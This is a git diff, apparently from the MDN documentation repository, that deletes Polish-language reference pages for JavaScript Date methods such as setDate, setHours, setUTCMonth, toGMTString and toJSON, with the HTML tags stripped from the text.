Konwertuje datę na łańcuch znaków, używając do konwencji czasu uniwersalnego.
-
{{jsxref("Date.prototype.valueOf()")}}
-
Zwraca wartość prostą obiektu Date. Przesłania metodę {{jsxref("Object.prototype.valueOf()")}}.
-
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/setdate/index.html deleted file mode 100644 index 9e0e3db5b9..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setdate/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Date.prototype.setDate() -slug: Web/JavaScript/Referencje/Obiekty/Date/setDate -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setDate ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia dzień miesiąca dla określonej daty stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.setDate(dayValue)
- -

Parametry

- -
-
dayValue 
-
Liczba całkowita z przedziału od 1 do 31, reprezentująca dzień miesiąca.
-
- -

Przykłady

- -

Przykład: Zastosowanie setDate()

- -

Druga instrukcja poniżej zmienia dzień miesiąca dla zmiennej theBigDay z jego oryginalnej wartości na 24 lipca.

- -
var theBigDay = new Date("July 27, 1962 23:30:00");
-var theBigDay.setDate(24);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html deleted file mode 100644 index 6b9fe390a1..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Date.prototype.setFullYear() -slug: Web/JavaScript/Referencje/Obiekty/Date/setFullYear -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia kompletny rok dla określonej daty stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.setFullYear(yearValue[, monthValue[, dayValue]])
- -

Parametry

- -
-
yearValue 
-
Liczba całkowita określająca wartość numeryczną roku, na przykład; 1995.
-
- -
-
monthValue 
-
Liczba całkowita z przedziału od 0 do 11 (reprezentująca miesiące od stycznia do grudnia).
-
- -
-
dayValue 
-
Liczba całkowita z przedziału od 1 do 31 reprezentująca dzień miesiąca. Jeśli zostaje podany parametr dayValue, należzy również podać monthValue.
-
- -

Opis

- -

Jeśli nie zostały podane parametry monthValue i dayValue, biblioteka pobierze te dane z metod {{jsxref("Date.prototype.getMonth()", "getMonth()")}} i {{jsxref("Date.prototype.getDate()", "getDate()")}}.

- -

Jeżeli określony parametr jest poza oczekiwanym zakresem, setFullYear() spróbuje zaktualizować informacje o dacie w obiekcie Date. Przykładowo, jeśli zostanie podana wartość 15 dla monthValue to rok zostanie zwiększony o 1 (rok+1), a miesiąc zostanie ustawiony na wartość 3.

- -

Przykłady

- -

Przykład: Zastosowanie setFullYear()

- -
var theBigDay = new Date();
-theBigDay.setFullYear(1997);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/sethours/index.html b/files/pl/web/javascript/referencje/obiekty/date/sethours/index.html deleted file mode 100644 index 8e3f95ff7d..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/sethours/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Date.prototype.setHours() -slug: Web/JavaScript/Referencje/Obiekty/Date/setHours -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setHours ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia godziny dla określonej daty stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.setHours(hoursValue[, minutesValue[, secondsValue[, msValue]]])
- -

Do wersji JavaScript 1.3

- -
dateObj.setHours(hoursValue)
- -

Parametry

- -
-
hoursValue 
-
Liczba całkowita pomiędzy 0 i 23, reprezentująca godziny.
-
- -
-
minutesValue 
-
Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.
-
- -
-
secondsValue 
-
Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr secondsValue, musisz także określić minutesValue.
-
- -
-
msValue 
-
A Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr msValue, musisz także określić minutesValue i secondsValue.
-
- -

Opis

- -

Jeśli nie określisz parametrów minutesValue, secondsValue i msValue, wartość zwracana użytych metod {{jsxref("Date.prototype.getMinutes()", "getMinutes()")}}, {{jsxref("Date.prototype.getSeconds()", "getSeconds()")}} i {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.

- -

Jeśli Twój parametr jest określony z poza szeregu, setHours próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty będą wzrastać o 1 (min + 1), i wartość 40 będzie użyta dla sekund.

- -

Przykłady

- -

Przykład: Zastosowanie setHours()

- -
var the BigDay = new Date();
-theBigDay.setHours(7);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html deleted file mode 100644 index c2a1359801..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Date.prototype.setMilliseconds() -slug: Web/JavaScript/Referencje/Obiekty/Date/setMilliseconds -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia milisekundy dla określonej daty stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.setMilliseconds(millisecondsValue)
- -

Parametry

- -
-
millisecondsValue 
-
Liczba pomiędzy 0 a 999, reprezentująca milisekundy.
-
- -

Opis

- -

Jeśli sprecyzujesz liczbę z poza oczekiwanego szeregu, informacje zawarte w obiekcie Date będą aktualizowane. Na przykład, jeśli określisz 1005, liczba sekund rośnie o 1, i 5 jest użyte dla milisekund.

- -

Przykłady

- -

Przykład: Zastosowanie setMilliseconds()

- -
var theBigDay = new Date();
-theBigDay.setMilliseconds(100);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html deleted file mode 100644 index 011137c893..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Date.prototype.setMinutes() -slug: Web/JavaScript/Referencje/Obiekty/Date/setMinutes -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia minuty dla określonej daty stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.setMinutes(minutesValue[, secondsValue[, msValue]])
- -

Do wersji JavaScript 1.3

- -
dateObj.setMinutes(minutesValue)
- -

Parametry

- -
-
minutesValue 
-
Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.
-
- -
-
secondsValue 
-
Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr secondsValue, musisz także określić minutesValue.
-
- -
-
msValue 
-
Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr msValue, musisz także określić minutesValue i secondsValue.
-
- -

Opis

- -

Jeśli nie określono parametrów secondsValue i msValue, są użyte wartości zwracanych metod getSeconds i getMilliseconds.

- -

Jeśli Twój parametr jest określony z poza szeregu, setMinutes próbuje zaktualizować informacje o dacie w obiekcie Date. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty (minutesValue) będą wzrastać o 1 (minutesValue + 1) i wartość 40 będzie użyta dla sekund.

- -

Przykłady

- -

Przykład: Zastosowanie setMinutes()

- -
var theBigDay = new Date();
-theBigDay.setMinutes(45);
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html deleted file mode 100644 index 7016cb97e1..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Date.prototype.setMonth() -slug: Web/JavaScript/Referencje/Obiekty/Date/setMonth -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia nazwę miesiąca dla określonej daty stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.setMonth(monthValue[, dayValue])
- -

Do wersji JavaScript 1.3

- -
dateObj.setMonth(monthValue)
- -

Parametry

- -
-
monthValue 
-
Liczba całkowita z przedziału 0 i 11 (reprezentuje miesiące od stycznia do grudnia).
-
- -
-
dayValue 
-
Liczba całkowita z przedziału 1 i 31, reprezentuje dzień miesiąca.
-
- -

Opis

- -

Jeśli nie określisz parametru dayValue, zostanie zwrócona wartość użytej metody getDate.

- -

Jeśli Twój parametr jest określony z poza szeregu, setMonth() próbuje zaktualizować informacje o dacie w obiekcie Date. Na przykład, jeśli użyjesz wartości 15 dla monthValue, rok wzrośnie o 1 (year + 1) i 3 będzie użyte dla miesiąca.

- -

Przykłady

- -

Przykład: Zastosowanie setMonth()

- -
var theBigDay = new Date;
-theBigDay.setMonth(6);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html deleted file mode 100644 index 7a50dd98a7..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Date.prototype.setSeconds() -slug: Web/JavaScript/Referencje/Obiekty/Date/setSeconds -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setSeconds ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia sekundy dla określonej daty stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.setSeconds(secondsValue[, msValue])
- -

Do wersji JavaScript 1.3

- -
dateObj.setSeconds(secondsValue)
- -

Parametry

- -
-
secondsValue 
-
Liczba całkowita z przedziału 0 i 59.
-
- -
-
msValue 
-
Liczba z przedziału 0 i 999, reprezentująca milisekundy.
-
- -

Opis

- -

Jeśli nie określisz parametru msValue, wartość zwracana użytej metody {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.

- -

Jeśli Twój parametr jest określony z poza szeregu, setSeconds() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty zawarte w obiekcie {{jsxref("Date")}} będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.

- -

Przykłady

- -

Przykład: Zastosowanie setSeconds()

- -
var theBigDay = new Date();
-theBigDay.setSeconds(30);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/settime/index.html b/files/pl/web/javascript/referencje/obiekty/date/settime/index.html deleted file mode 100644 index 5aca5a36d7..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/settime/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Date.prototype.setTime() -slug: Web/JavaScript/Referencje/Obiekty/Date/setTime -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setTime ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia wartość obiektu {{jsxref("Date")}} stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.setTime(timeValue)
- -

Parametry

- -
-
timeValue 
-
Liczba całkowita reprezentująca liczbę milisekund liczonych od 1 stycznia 1970, 00:00:00.
-
- -

Opis

- -

Użyj metody setTime(), aby pomóc przydzielić dacie czas następnego obiektu {{jsxref("Date")}}.

- -

Przykłady

- -

Przykład: Zastosowanie setTime()

- -
var theBigDay = new Date("July 1, 1999");
-var sameAsBigDay = new Date();
-sameAsBigDay.setTime(theBigDay.getTime())
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html deleted file mode 100644 index 81496f9c1f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Date.prototype.setUTCDate() -slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCDate -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia dzień miesiąca dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.setUTCDate(dayValue)
- -

Parametry

- -
-
dayValue 
-
Liczba całkowita od 1 do 31, reprezentująca dni miesiąca.
-
- -

Opis

- -

Jeśli Twój parametr jest określony z poza szeregu, setUTCDate() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 40 dla dayValue, i nazwa miesiąca jaki jest w danym momencie przechowywany w obiekcie {{jsxref("Date")}} będzie czerwcem, to do dni przypiszemy wartość 10, ale wyświetlaną nazwą miesiąca będzie już lipiec.

- -

Przykłady

- -

Przykład: Zastosowanie setUTCDate()

- -
var theBigDay = new Date();
-theBigDay.setUTCDate(20);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html deleted file mode 100644 index 71ea1db756..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Date.prototype.setUTCFullYear() -slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCFullYear -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia pełen rok dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.setUTCFullYear(yearValue[, monthValue[, dayValue]])
- -

Parametry

- -
-
yearValue 
-
Liczba całkowita określająca numerycznie wartość roku, na przykład: 1995.
-
- -
-
monthValue 
-
Liczba całkowita pomiędzy 0 a 11, reprezentuje nazwy miesięcy, od stycznia do grudnia.
-
- -
-
dayValue 
-
Liczba całkowita pomiędzy 1 a 31, reprezentuje dzień miesiąca. Jeśli określimy parametr dayValue, to musimy także sprecyzować monthValue.
-
- -

Opis

- -

Jeśli nie określisz parametrów monthValue i dayValue, wartość zwracana metod {{jsxref("Date.prototype.getUTCMonth()", "getUTCMonth()")}} i {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}} jest w użyciu.

- -

Jeśli Twój parametr jest określony z poza szeregu, setUTCFullYear() próbuje zaktualizować informacje o dacie w obiekcie Date. Na przykład, jeśli użyjesz wartości 15 dla monthValue, lata będą wzrastać o 1 (rok + 1), i 3 jest użyta jako miesiąc.

- -

Przykłady

- -

Przykład: Zastosowanie setUTCFullYear()

- -
var theBigDay = new Date();
-theBigDay.setUTCFullYear(1997);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html deleted file mode 100644 index 437e4bae2f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Date.prototype.setUTCHours() -slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCHours -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia godzinę dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.setUTCHours(hoursValue[, minutesValue[, secondsValue[, msValue]]])
- -

Parametry

- -
-
hoursValue 
-
Liczba całkowita pomiędzy 0 a 23, reprezentująca godzinę.
-
- -
-
minutesValue 
-
Liczba całkowita pomiędzy 0 a 59, reprezentująca minutami.
-
- -
-
secondsValue 
-
Liczba całkowita pomiędzy 0 a 59, reprezentująca sekundy. Jeśli określisz parametr secondsValue, to musisz także określić parametr minutesValue.
-
- -
-
msValue 
-
Liczba pomiędzy 0 a 999, reprezentująca milisekundy. Jeśli określisz parametr msValue, to musisz także określić parametry minutesValue i secondsValue.
-
- -

Opis

- -

Jeśli nie określisz parametrów minutesValue, secondsValue i msValue, wartość zwracana będzie użytych metod {{jsxref("Date.prototype.getUTCMinutes()", "getUTCMinutes()")}}, {{jsxref("Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} i {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.

- -

Jeśli Twój parametr jest określony z poza szeregu, setUTCHours() próbuje zaktualizować informacje o dacie w obiekcie Date. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty zawarte w obiekcie Date będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.

- -

Przykłady

- -

Przykład: Zastosowanie setUTCHours()

- -
var theBigDay = new Date();
-theBigDay.setUTCHours(8);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html deleted file mode 100644 index f12fd4c838..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Date.prototype.UTCMilliseconds() -slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMilliseconds -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia milisekundy dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.setUTCMilliseconds(millisecondsValue)
- -

Parametry

- -
-
millisecondsValue 
-
Liczba pomiędzy 0 a 999, reprezentująca milisekundy.
-
- -

Opis

- -

Jeśli parametr, który określiłeś jest z poza szeregu, setUTCMilliseconds() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz 1100 dla millisecondsValue, sekunda przechowana w obiekcie {{jsxref("Date")}} wzrośnie o 1 i wartość 100 będzie użyta dla milisekund.

- -

Przykłady

- -

Przykład: Zastosowanie setUTCMilliseconds()

- -
var theBigDay = new Date();
-theBigDay.setUTCMilliseconds(500);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html deleted file mode 100644 index d3ea20bafa..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Date.prototype.setUTCMinutes() -slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMinutes -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia minuty dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.setUTCMinutes(minutesValue[, secondsValue[, msValue]])
- -

Parametry

- -
-
minutesValue 
-
Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.
-
- -
-
secondsValue 
-
Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr secondsValue, musisz także określić minutesValue.
-
- -
-
msValue 
-
Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr msValue, musisz także określić minutesValue i secondsValue.
-
- -

Opis

- -

Jeśli nie określono parametrów secondsValue i msValue, są użyte wartości zwracanych metod {{jsxref("Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} i {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.

- -

Jeśli Twój parametr jest określony z poza szeregu, setUTCMinutes() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty (minutesValue) będą wzrastać o 1 (minutesValue + 1) i wartość 40 będzie użyta dla sekund.

- -

Przykłady

- -

Przykład: Zastosowanie setUTCMinutes()

- -
var theBigDay = new Date();
-theBigDay.setUTCMinutes(43);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html deleted file mode 100644 index 78448e441f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Date.prototype.setUTCMonth() -slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMonth -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia miesiąc dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.setUTCMonth(monthValue[, dayValue])
- -

Parametry

- -
-
monthValue 
-
Liczba całkowita pomiędzy 0 a 11, reprezentująca nazwy miesięcy od stycznia do grudnia.
-
- -
-
dayValue 
-
Liczba całkowita od 1 do 31, reprezentująca dzień miesiąca.
-
- -

Opis

- -

Jeśli nie określisz parametru dayValue, zostanie zwrócona wartość użytej metody {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}}.

- -

Jeśli Twój parametr jest określony z poza szeregu, setUTCMonth() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 15 dla monthValue, rok wzrośnie o 1 (rok + 1) i 3, które pozostało będzie użyte dla miesiąca.

- -

Przykłady

- -

Przykład: Zastosowanie setUTCMonth()

- -
var theBigDay = new Date();
-theBigDay.setUTCMonth(11);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html deleted file mode 100644 index 8e8d003b67..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Date.prototype.setUTCSeconds() -slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCSeconds -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds ---- -

{{JSRef}}

- -

Podsumowanie

- -

Ustawia sekundy dla określonej daty stosownie do czasu uniwersalnego.

- -

Składnia

- -
dateObj.setUTCSeconds(secondsValue[, msValue])
- -

Parametry

- -
-
secondsValue 
-
Liczba całkowita pomiędzy 0 a 59.
-
- -
-
msValue 
-
Liczba pomiędzy 0 a 999, reprezentująca milisekundy.
-
- -

Opis

- -

Jeśli nie określisz parametru msValue, wartość zwracana jest z użytej metody {jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.

- -

Jeśli Twój parametr jest określony z poza szeregu, setUTCSeconds() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty zawarte w obiekcie {{jsxref("Date")}} będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.

- -

Przykłady

- -

Przykład: Zastosowanie setUTCSeconds()

- -
var theBigDay = new Date();
-theBigDay.setUTCSeconds(20);
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/setyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/setyear/index.html deleted file mode 100644 index ac89b296c7..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/setyear/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Date.prototype.setYear() -slug: Web/JavaScript/Referencje/Obiekty/Date/setYear -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setYear ---- -

{{jSRef}}{{ Deprecated_header() }}

- -

Podsumowanie

- -

Ustawia rok dla określonej daty stosownie do czasu lokalnego. Aby móc korzystać z roczników przed i po roku 2000, powinieneś użyć metody {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} zawierającej setYear(), która rok potrafi określić w pełni.

- -

Składnia

- -
dateObj.setYear(yearValue)
- -

Parametry

- -
-
yearValue 
-
Liczba całkowita.
-
- -

Opis

- -

Jeśli yearValue jest liczbą pomiędzy 0 a 99 (inclusive), to rok dla dateObjectName jest ustawiany - 1900 + yearValue. W innym przypadku, rok dla dateObjectName jest ustawiany w postaci wyświetlenia yearValue.

- -

Przykłady

- -

Przykład: Zastosowanie setYear()

- -

Dwie pierwsze linie ustawiają rok w dacie na 1996. Trzecia ustawia rok na 2000.

- -
var theBigDay = new Date();
-
-theBigDay.setYear(96)
-theBigDay.setYear(1996)
-theBigDay.setYear(2000)
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html b/files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html deleted file mode 100644 index 2b4c296723..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Date.prototype.toGMTString() -slug: Web/JavaScript/Referencje/Obiekty/Date/toGMTString -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toGMTString ---- -

{{JSRef}}{{ Deprecated_header() }}

- -

Podsumowanie

- -

Konwertuje datę na łańcuch znaków używając konwersji czasu GMT. Dokładny format zwracanych wartości toGMTString() różni się w zależności platformy.

- -
-

Metoda toGMTString jest nie długo używana i została ona zastąpiona metodą {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}}. Powinieneś używać {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}} zamiast toGMTSTring().

-
- -

Składnia

- -
dateObj.toGMTString()
- -

Przykłady

- -

Przykład: Zastosowanie toGMTString()

- -

W następującym przykładzie jest dzisiejsza data obiektu Date:

- -
var today = new Date();
-var str = today.toGMTString();
-
-console.log(str); // Mon, 18 Dec 1995 17:28:35 GMT
- -

W tym przykładzie metoda toGMTString konwertuje datę w czasie GMT (UTC) używanego przez system operacyjny w odpowiedniej strefie czasowej i zwraca wartość łańcucha znaków, która jest podobna do następującej formy. Format jest w pełni zależny od platformy.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/tojson/index.html b/files/pl/web/javascript/referencje/obiekty/date/tojson/index.html deleted file mode 100644 index 2509e99319..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/tojson/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Date.prototype.toJSON() -slug: Web/JavaScript/Referencje/Obiekty/Date/toJSON -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON ---- -
{{JSRef}}
- -
Zwraca objekt {{jsxref("Date")}} w postaci tekstu.
- - - -

Składnia

- -
dateObj.toJSON()
-
- -

Opis

- -

toJSON() zwraca ciąg znaków (using {{jsxref("Date.prototype.toISOString()", "toISOString()")}}) reprezentujący wartość obiektu {{jsxref("Date")}}.

- -

Przykłady

- -

Użycie toJSON()

- -
var jsonDate = (new Date()).toJSON();
-var backToDate = new Date(jsonDate);
-
-console.log(jsonDate); //2015-10-26T07:46:36.611Z
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}}{{Spec2('ES5.1')}}Początkowa definicja zaimplementowana w JavaScript 1.8.5.
{{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność

- - - -

{{Compat("javascript.builtins.Date.toJSON")}}

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html deleted file mode 100644 index c3b4b44198..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Date.prototype.toLocaleDateString() -slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleDateString -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca "date", porcje daty jako łańcuch znaków, używając aktualnych lokalnych konwersji.

- -

